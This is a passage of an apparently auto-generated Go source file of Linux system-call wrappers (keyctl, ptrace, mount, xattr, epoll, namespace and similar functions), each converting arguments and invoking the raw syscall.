if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlJoin(cmd int, arg2 string) (ret int, err error) { var _p0 *byte _p0, err = BytePtrFromString(arg2) if err != nil { return } r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) { var _p0 *byte _p0, err = BytePtrFromString(arg3) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(arg4) if err != nil { return } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) { var _p0 unsafe.Pointer if len(payload) > 0 { _p0 = unsafe.Pointer(&payload[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0) ret = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) { _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(arg) if err != nil { return } _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) { var _p0 *byte _p0, err = BytePtrFromString(source) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(target) if err != nil { return } var _p2 *byte _p2, err = BytePtrFromString(fstype) if err != nil { return } _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Acct(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) { var _p0 *byte _p0, err = BytePtrFromString(keyType) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(description) if err != nil { return } var _p2 unsafe.Pointer if len(payload) > 0 { _p2 = unsafe.Pointer(&payload[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0) id = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtimex(buf *Timex) (state int, err error) { r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0) state = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ClockGetres(clockid int32, res *Timespec) (err error) { _, _, e1 := Syscall(SYS_CLOCK_GETRES, uintptr(clockid), uintptr(unsafe.Pointer(res)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ClockGettime(clockid int32, time *Timespec) (err error) { _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) { r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(oldfd int) (fd int, err error) { r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup3(oldfd int, newfd int, flags int) (err error) { _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCreate1(flag int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) { _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Eventfd(initval uint, flags int) (fd int, err error) { r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { SyscallNoError(SYS_EXIT_GROUP, uintptr(code), 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fallocate(fd int, mode uint32, off int64, len int64) (err error) { _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fcntl(fd int, cmd int, arg int) (val int, err error) { r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg)) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fdatasync(fd int) (err error) { _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flistxattr(fd int, dest []byte) (sz int, err error) { var _p0 unsafe.Pointer if len(dest) > 0 { _p0 = unsafe.Pointer(&dest[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_FLISTXATTR, uintptr(fd), uintptr(_p0), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fremovexattr(fd int, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsetxattr(fd int, attr string, dest []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(attr) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdents(fd int, buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { r0, _ := RawSyscallNoError(SYS_GETPID, 0, 0, 0) pid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { r0, _ := RawSyscallNoError(SYS_GETPPID, 0, 0, 0) ppid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrandom(buf []byte, flags int) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettid() (tid int) { r0, _ := RawSyscallNoError(SYS_GETTID, 0, 0, 0) tid = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getxattr(path string, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(dest) > 0 { _p2 = unsafe.Pointer(&dest[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) { var _p0 *byte _p0, err = BytePtrFromString(pathname) if err != nil { return } r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask)) watchdesc = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyInit1(flags int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) { r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0) success = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, sig syscall.Signal) (err error) { _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Klogctl(typ int, buf []byte) (n int, err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(dest) > 0 { _p2 = unsafe.Pointer(&dest[0]) } else { _p2 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listxattr(path string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Llistxattr(path string, dest []byte) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(dest) > 0 { _p1 = unsafe.Pointer(&dest[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest))) sz = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lremovexattr(path string, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lsetxattr(path string, attr string, data []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(data) > 0 { _p2 = unsafe.Pointer(&data[0]) } else { _p2 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func MemfdCreate(name string, flags int) (fd int, err error) { var _p0 *byte _p0, err = BytePtrFromString(name) if err != nil { return } r0, _, e1 := Syscall(SYS_MEMFD_CREATE, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) { r0, _, e1 := Syscall6(SYS_PERF_EVENT_OPEN, uintptr(unsafe.Pointer(attr)), uintptr(pid), uintptr(cpu), uintptr(groupFd), uintptr(flags), 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func PivotRoot(newroot string, putold string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(newroot) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(putold) if err != nil { return } _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) { _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) { _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Removexattr(path string, attr string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) { var _p0 *byte _p0, err = BytePtrFromString(oldpath) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(newpath) if err != nil { return } _, _, e1 := Syscall6(SYS_RENAMEAT2, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) { var _p0 *byte _p0, err = BytePtrFromString(keyType) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(description) if err != nil { return } var _p2 *byte _p2, err = BytePtrFromString(callback) if err != nil { return } r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0) id = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setdomainname(p []byte) (err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sethostname(p []byte) (err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tv *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setns(fd int, nstype int) (err error) { _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setxattr(path string, attr string, data []byte, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(attr) if err != nil { return } var _p2 unsafe.Pointer if len(data) > 0 { _p2 = unsafe.Pointer(&data[0]) } else { _p2 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_STATX, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mask), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() { SyscallNoError(SYS_SYNC, 0, 0, 0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT 